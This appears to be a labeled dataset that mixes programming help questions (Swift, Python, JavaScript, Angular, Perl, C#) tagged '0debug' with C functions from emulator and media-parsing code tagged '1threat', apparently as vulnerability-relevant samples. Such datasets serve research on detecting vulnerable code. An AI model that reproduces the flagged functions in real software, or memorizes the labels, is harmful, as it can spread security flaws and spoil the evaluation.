Sending JSON POST request in Swift3 : <p>In my app i'm trying to make http post request with json data. The following json must be transferred to api</p> <pre><code>{ "Password":"123456", "Email":"test@gmail.com" } </code></pre> <p>Here is my code for this task</p> <pre><code>let dict = ["Email": "test@gmail.com", "Password":"123456"] as [String: Any] if let jsonData = try? JSONSerialization.data(withJSONObject: dict, options: []) { let url = NSURL(string: "http://xxxxxxxxx.net/api/Login")! let request = NSMutableURLRequest(url: url as URL) request.httpMethod = "POST" request.httpBody = jsonData let task = URLSession.shared.dataTask(with: request as URLRequest){ data,response,error in if error != nil{ print(error?.localizedDescription) return } do { let json = try JSONSerialization.jsonObject(with: data!, options: .mutableContainers) as? NSDictionary if let parseJSON = json { let resultValue:String = parseJSON["success"] as! String; print("result: \(resultValue)") print(parseJSON) } } catch let error as NSError { print(error) } } task.resume() } </code></pre> <p>I'm getting the following error</p> <pre><code>Error Domain=NSCocoaErrorDomain Code=3840 "No value." UserInfo={NSDebugDescription=No value.} </code></pre> <p>The response data is empty. What I'm doing wrong, or i have missed something in my code?</p>
0debug
Python regx two find all between two pattern : in my test log file, i want to find all the line between these two --- /b/act-builder/sandboxes/ACT-SB-RELEASE_174_THROTTLE-28378/src/junos/usr.sbin/rpd/lib/policy/atf-tests.host,linux --- *** [atf-run.log] Error code where the first line pattern will always start like --- /b/act-builder/sandboxes/ and end like linux --- My Solution Which is not working:- <!-- begin snippet: js hide: false console: true babel: false --> <!-- language: lang-js --> file = open('atf_log_28378.txt', "r") for result in re.findall('^--- /b/act-builder/(.*?)Error code', file.read(), re.S): print 'Failed test cases:' + result + '\n' <!-- end snippet -->
0debug
Javascript IIFE , Objects : <p>Please give me some link to help me understand this </p> <pre><code> var obj = { a: 1 }; (function(obj) { obj = { a: 2 }; })(obj); console.log(obj.a); </code></pre> <p>logs out 1 whereas this </p> <pre><code>var obj = { a: 1 }; (function() { obj = { a: 2 }; })(); console.log(obj.a); </code></pre> <p>logs out 2</p>
0debug
static void rtas_set_indicator(PowerPCCPU *cpu, sPAPRMachineState *spapr, uint32_t token, uint32_t nargs, target_ulong args, uint32_t nret, target_ulong rets) { uint32_t sensor_type; uint32_t sensor_index; uint32_t sensor_state; uint32_t ret = RTAS_OUT_SUCCESS; sPAPRDRConnector *drc; sPAPRDRConnectorClass *drck; if (nargs != 3 || nret != 1) { ret = RTAS_OUT_PARAM_ERROR; goto out; } sensor_type = rtas_ld(args, 0); sensor_index = rtas_ld(args, 1); sensor_state = rtas_ld(args, 2); if (!sensor_type_is_dr(sensor_type)) { goto out_unimplemented; } drc = spapr_drc_by_index(sensor_index); if (!drc) { trace_spapr_rtas_set_indicator_invalid(sensor_index); ret = RTAS_OUT_PARAM_ERROR; goto out; } drck = SPAPR_DR_CONNECTOR_GET_CLASS(drc); switch (sensor_type) { case RTAS_SENSOR_TYPE_ISOLATION_STATE: ret = drck->set_isolation_state(drc, sensor_state); break; case RTAS_SENSOR_TYPE_DR: ret = drck->set_indicator_state(drc, sensor_state); break; case RTAS_SENSOR_TYPE_ALLOCATION_STATE: ret = drck->set_allocation_state(drc, sensor_state); break; default: goto out_unimplemented; } out: rtas_st(rets, 0, ret); return; out_unimplemented: trace_spapr_rtas_set_indicator_not_supported(sensor_index, sensor_type); rtas_st(rets, 0, RTAS_OUT_NOT_SUPPORTED); }
1threat
Add a dropdown function to existing menu : I need to add a dropdown option to existing menu bar, here is my css and html code. I found a lot of dropdown menus, but i's very important to me that i just add that function, not to change whole menu. <!-- begin snippet: js hide: false console: true babel: false --> <!-- language: lang-css --> /* Add a black background color to the top navigation */ .topnav { background-color: #333; overflow: hidden; } /* Style the links inside the navigation bar */ .topnav a { float: left; display: block; color: #f2f2f2; text-align: right; padding: 14px 16px; text-decoration: none; font-size: 17px; } /* Change the color of links on hover */ .topnav a:hover { background-color: #ddd; color: black; } /* Add a color to the active/current link */ .topnav a.active { background-color: #4CAF50; color: white; } <!-- language: lang-html --> <div class="topnav" id="myTopnav"> <a href="#news">Speed Dial</a> <a href="#news">Speed Dial</a> <!-- end snippet -->
0debug
I have to validate a date input if it is in mm/dd/yyyy format in C# : <p>I have date field in my Windows form and that is a user input. I need to validate if that date input is in mm/dd/yyyy format and need to throw an error if it is not. How Do I do that. I have no idea how to do that.</p> <p>Please help.</p>
0debug
static void horizontal_filter(unsigned char *first_pixel, int stride, int *bounding_values) { unsigned char *end; int filter_value; for (end= first_pixel + 8*stride; first_pixel < end; first_pixel += stride) { filter_value = (first_pixel[-2] - first_pixel[ 1]) +3*(first_pixel[ 0] - first_pixel[-1]); filter_value = bounding_values[(filter_value + 4) >> 3]; first_pixel[-1] = clip_uint8(first_pixel[-1] + filter_value); first_pixel[ 0] = clip_uint8(first_pixel[ 0] - filter_value); } }
1threat
static int mov_read_ctts(MOVContext *c, AVIOContext *pb, MOVAtom atom) { AVStream *st; MOVStreamContext *sc; unsigned int i, entries; if (c->fc->nb_streams < 1) return 0; st = c->fc->streams[c->fc->nb_streams-1]; sc = st->priv_data; avio_r8(pb); avio_rb24(pb); entries = avio_rb32(pb); av_log(c->fc, AV_LOG_TRACE, "track[%i].ctts.entries = %i\n", c->fc->nb_streams-1, entries); if (!entries) return 0; if (entries >= UINT_MAX / sizeof(*sc->ctts_data)) return AVERROR_INVALIDDATA; av_freep(&sc->ctts_data); sc->ctts_data = av_realloc(NULL, entries * sizeof(*sc->ctts_data)); if (!sc->ctts_data) return AVERROR(ENOMEM); for (i = 0; i < entries && !pb->eof_reached; i++) { int count =avio_rb32(pb); int duration =avio_rb32(pb); sc->ctts_data[i].count = count; sc->ctts_data[i].duration= duration; av_log(c->fc, AV_LOG_TRACE, "count=%d, duration=%d\n", count, duration); if (FFABS(duration) > (1<<28) && i+2<entries) { av_log(c->fc, AV_LOG_WARNING, "CTTS invalid\n"); av_freep(&sc->ctts_data); sc->ctts_count = 0; return 0; } if (i+2<entries) mov_update_dts_shift(sc, duration); } sc->ctts_count = i; if (pb->eof_reached) return AVERROR_EOF; av_log(c->fc, AV_LOG_TRACE, "dts shift %d\n", sc->dts_shift); return 0; }
1threat
Issue in AngularJs2 Http Request : I am new to AngularJs, I am doing one simple application which is responsible to call the service and get the data from service and displaying it. I am not getting any error message in Developer Tools but data is not displaying properly. Thanks in Advance. 1. **app.module.ts** file import { BrowserModule } from '@angular/platform-browser'; import { NgModule } from '@angular/core'; import { FormsModule } from '@angular/forms'; import { AppComponent } from './app.component'; import { EmployeeComponent } from './employee/employe.component'; import { EmployeeListComponent } from './employee/employeeList.component'; import { EmployeeListPipe } from './employee/employeeList.pipe'; import { EmployeeCount } from './employee/employeeCount.component'; import { SimpleComponent } from './Others/simple.component'; import { CommonModule } from '@angular/common'; import { HttpModule } from '@angular/http'; @NgModule({ declarations: [AppComponent, EmployeeComponent, EmployeeListComponent, EmployeeListPipe, EmployeeCount, SimpleComponent], imports: [BrowserModule, FormsModule, HttpModule], providers: [], bootstrap: [AppComponent] }) export class AppModule { } 2. employee.service.ts file import { IEmployee } from './employee'; import { Injectable } from '@angular/core'; import { Http } from '@angular/http'; import { Response } from '@angular/http'; import { Observable } from 'rxjs/Observable'; import 'rxjs/add/operator/map'; @Injectable() export class EmployeeService { private _url: string = "./employeeData.json"; constructor(private _http: Http) { } getEmployee(): Observable<IEmployee[]> { return this._http.get('http://localhost:8085/AngularBackendService/rest/employees/findAll') .map( (response:Response)=> Array.of(response.json())); } } 3. employeeList.component.ts file import {Component, Provider, OnInit} from '@angular/core'; import { IEmployee } from './employee'; import { EmployeeService } from './employee.service'; @Component({ selector: 'app-employeeList', templateUrl: 'employeeList.component.html', styleUrls: ['/employeeList.component.css'], providers: [EmployeeService] }) export class EmployeeListComponent implements OnInit { employees: IEmployee[]; selectedEmployeeCountRadioButton: string = 'All'; statusMessage: string = 'Loading Data please wait...'; constructor(private _employeeService: EmployeeService) { } ngOnInit() { this._employeeService.getEmployee().subscribe(emp => this.employees = emp); console.log("Employees Count inside ngOnInit "+JSON.stringify(this.employees)); } onEmployeeCountRadioButtonChange(selectedRadioButtonValue: string): void { this.selectedEmployeeCountRadioButton = selectedRadioButtonValue; } getEmployeeSCount(): number { console.log("Employees Count inside getEmployeeSCount() "+JSON.stringify(this.employees)); return this.employees.length; } getMaleEmployeeSCount(): number { return this.employees.filter(e => e.gender === 'Male').length; } getFemaleEmployeeSCount(): number { return this.employees.filter(e => e.gender === 'Female').length; } } 4. employeeList.component.html <html > <employee-count *ngIf = 'employees' [all] = "getEmployeeSCount()" [male] = "getMaleEmployeeSCount()" [female] = "getFemaleEmployeeSCount()" (countRadioButtonSelectionChanged) = 'onEmployeeCountRadioButtonChange($event)'> </employee-count><br/> <table> <thead> <tr> <th>Code</th> <th>Name</th> <th>Gender</th> <th>Annual Salary</th> <th>Date of Birth</th> </tr> </thead> <tbody> <ng-container *ngFor="let employee of employees"> <tr *ngIf="selectedEmployeeCountRadioButton =='All' || selectedEmployeeCountRadioButton==employee.gender"> <td>{{employee.code}}</td> <td>{{employee.name}}</td> <td>{{employee.gender}}</td> <td>{{employee.annualSalary}}</td> <td>{{employee.dateOfBirth}}</td> </tr> </ng-container> <tr *ngIf="!employees"> <td colSpan="5"> {{statusMessage}} </td> </tr> <tr *ngIf = "!employees || employees.length == 0" > <td colspan="5">No Employee Details Present</td> </tr> </tbody> </table> </html> 5. I am getting below output [Please Look for Output][1] [1]: https://i.stack.imgur.com/gXFOb.png
0debug
Change a java string to date : Well I tried to look for many questions but couldn't find something relevant. I have a string that has the following data: String sDate = "2018-01-17 00:00:00"; This comes from an application and I need to convert it into a Date format that results > 17-01-2018 I went through this [link][1] but could not relate. Can someone help..? [1]: https://stackoverflow.com/questions/14414462/java-converting-stringday-month-year-format-to-date
0debug
How to hide string from C# : <p>I'm trying to hide an important text from being seen I have already tried the SecureString stuff but I failed, I don't know If I am doing it wrong but some help would be appreciated or a source code that i could learn from since i am new to c#<a href="https://i.stack.imgur.com/5eUHe.png" rel="nofollow noreferrer">Screenshot 1</a> <a href="https://i.stack.imgur.com/BpSmA.png" rel="nofollow noreferrer">Screenshot 2</a></p> <p>Thanks in advance.</p>
0debug
Floating point number is rounding off in C : <p>i started learning <code>c</code>. Today, while i am working on a program, i found an interesting thing and i made another small program (similar to my issue) to check it.</p> <pre><code>#include&lt;stdio.h&gt; int main(void) { float num1=867.0; float num2=.6921; printf("sum = %.4f \n",num1+num2); return 0; } </code></pre> <p>if i run the above program, i am getting <code>867.6921</code> as the answer. but if i changed the <code>.4%f</code> to <code>%f</code> the answer is changing to <strong><code>sum = 867.692078</code></strong>. why's the change in the output? Also, is there any way that i can get the answer without using the <code>.4%f</code>?</p>
0debug
Why is docker images list empty? : <p>I'm trying to see a list of images in my docker instance, but I keep getting an empty list.</p> <p>I run</p> <pre><code>docker run busybox:latest echo hello </code></pre> <p>It prints <code>hello</code>. I run</p> <pre><code>docker images list --all </code></pre> <p>it prints </p> <pre><code>REPOSITORY TAG IMAGE ID CREATED SIZE </code></pre> <p>The same thing happens if I try <code>docker load -i myimage.tar</code> and list. Why isn't it showing any images?</p> <hr> <pre><code>docker version Client: Version: 17.06.1-ce API version: 1.30 Go version: go1.8.3 Git commit: 874a737 Built: Thu Aug 17 22:51:12 2017 OS/Arch: linux/amd64 Server: Version: 17.06.1-ce API version: 1.30 (minimum version 1.12) Go version: go1.8.3 Git commit: 874a737 Built: Thu Aug 17 22:50:04 2017 OS/Arch: linux/amd64 Experimental: false </code></pre>
0debug
Autoplay video on windows form visual studio 2012 : i am new to .net i am having trouble playing videos automatically. I would be showing different textboxes here but i want the video to autplay without any buttons using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; using WMPLib; namespace ThinkQDisplay { public partial class Form1 : Form { public Form1() { InitializeComponent(); } private void axWindowsMediaPlayer1_Enter(object sender, EventArgs e) { AxWindowsMediaPlayer1.URL = "C:\Users\Ramrod\Documents\Visual Studio 2012\Projects\ThinkQDisplay\ThinkQDisplay\sample.avi"; } } }`enter code here` it keeps telling it is an unrecognized escape sequence also i would like to have a seperate form (form2) where i can choose what to play here on form 1. is it also possible to have it looped?
0debug
How to return a tupple in haskell : type Record=([Char],[Char],[Char],[Char],[Char]) createAccount::IO()->Record createAccount=do putStrLn "Enter First Name" fname<-getLine putStrLn "Enter Last Name" lname<-getLine putStrLn "Enter State" state<-getLine putStrLn "Enter City" city<-getLine putStrLn "Enter House No." hnum<-getLine let hnumInt = read hnum :: Integer putStrLn "Enter Contact" contact<-getLine return (fname,lname,state,city,contact)
0debug
trying to compare POSIXct objects in if statements within functions- R studio : I have something like this within a function: x <- as.POSIXct((substr((dataframe[z, ])$variable, 1, 8)), tz = "GMT", format = "%H:%M:%S") print(x) if ( (x >= as.POSIXct("06:00:00", tz = "GMT", format = "%H:%M:%S")) & (x < as.POSIXct("12:00:00", tz = "GMT", format = "%H:%M:%S")) ){ position <- "first" } but I get this output: character(0) Error in if ((as.numeric(departure) - as.numeric(arrival)) < 0) { : argument is of length zero how can I fix this so my comparison works and it prints the correct thing?
0debug
Clean way to access an Array of Hash of Arrays : I have a segment of code that though works, does not look a clean way to do things. So I build the structure using: foreach my $n (@node_list) { chomp ($n); foreach my $c (@cpes) { my @returned; #Interfaces to CPEs with MED settings my @creturned; #General Customer Interfaces my ($cust) = $c =~ /([a-zA-Z]+)[_-][a-zA-Z0-9]+/s; print "\n\t\tCustomer is $cust\n"; chomp($c); $c = uc $c; my ($search) = $c; (@returned) = `cat /curr/$n | grep "$search"`; if (@returned) { my $cust_match = 'interface \"' . $cust; (@creturned) = `cat /curr/$n | egrep -i "$cust_match" | grep -v "$search"`; } if (@creturned) #Have we found other CPEs on the same router { my ($nf) = $n =~ /([a-zA-Z0-9-]+).cfg/s; my (@interfaces) = map { /([A-Z0-9_]+)/s } @creturned; @interfaces = uniq(@interfaces); unshift (@interfaces, $c); push (@new_out, {$nf => {$cust => [@interfaces]}}); } } This will return: $VAR1 = \[ { 'router-xx-xx' => { '50000' => [ [ 'THXXXXVF_NLXXXX40_1121_2', '10x.xx.x.50' ], [ 'THXXXPVF_NLXXXX66_1121_1', '10x.xx.x.70' ], [ 'THXXXXVF_NLXXXX67_1121_2', '10x.xx.x.78' ], } }, Each router can have a number of VPRNs and each VPRN can contain multiple interfaces. In the example above I've shown one router with one VPRN. However, when it comes to accessing elements in the above, I've written the following convoluted (but working) code: foreach my $candidate (@nodes) { my %node = %{ $candidate }; foreach my $n (keys %node) { print "\nRouter is $n\n"; foreach my $cust (keys %{ $node{$n} }) { print "Customer on $n is \n" . Dumper \$cust; my @intlist = @{$node{$n}{$cust}}; my $med_cpe = $intlist[0]; #the CPE that was used to find node {truncated} my (@mlist) = grep {$_=~ / $rid /} @info; {truncated} push (@shared, [$cpe, $dip]); } push @master, {$n => {$rid => [@shared]}};; } } } }
0debug
Code Signing Error Whenever I try replacing stock files in new SceneKit application : <p>So Xcode 8 was recently released and I'm still unsure as to what exactly might be causing this problem (it might be just the fact that it's a beta version of Xcode or perhaps that I'm somehow doing something incorrectly).</p> <p>The problem at hand is that I'm trying to create a new SceneKit application and I'm currently messing around with the .scn files.</p> <p>I created a .scn file, "hero.scn" inside of a "hero.scnassets" and also provided a .png file inside of the hero.scnassets folder by the name of "heroTexture.png"</p> <p>The code normally provided by Xcode 8.0 beta 1 for this project in the "GameViewController.swift" file was edited as follows:</p> <p><strong>Original Code:</strong></p> <pre><code>... let scene = SCNScene(named: "art.scnassets/ship.scn")! ... let ship = scene.rootNode.childNode(withName: "ship", recursively: true)! ship.run(SCNAction.repeatForever(SCNAction.rotateBy(x: 0, y: 2, z: 0, duration: 1))) </code></pre> <p><strong>Edited Code:</strong></p> <pre><code>... let scene = SCNScene(named: "hero.scnassets/hero.scn")! ... let hero = scene.rootNode.childNode(withName: "hero", recursively: true)! hero.run(SCNAction.repeatForever(SCNAction.rotateBy(x: 0, y: 2, z: 0, duration: 1))) </code></pre> <p><strong>Error Received:</strong></p> <pre><code>.../Xapp.app: resource fork, finder information, or similar detritus not allowed Command /usr/bin/codesign failed with exit code 1 </code></pre> <p><strong>Conclusion of Question:</strong></p> <blockquote> <p>Why am I getting a signing error when all I've done is simply replaced files?</p> <p>Sidenote: I know how to get the code signing issue to go away but that involves restarting the entire project (which I don't mind). The problem I face however is whenever I change the files, I get this error.</p> </blockquote> <p><strong>P.S:</strong> Here's a file structure just for ease.<a href="https://i.stack.imgur.com/RhY9x.png" rel="noreferrer"><img src="https://i.stack.imgur.com/RhY9x.png" alt="FileStruct"></a></p>
0debug
static void set_guest_connected(VirtIOSerialPort *port, int guest_connected) { VirtConsole *vcon = VIRTIO_CONSOLE(port); if (!vcon->chr) { return; } qemu_chr_fe_set_open(vcon->chr, guest_connected); }
1threat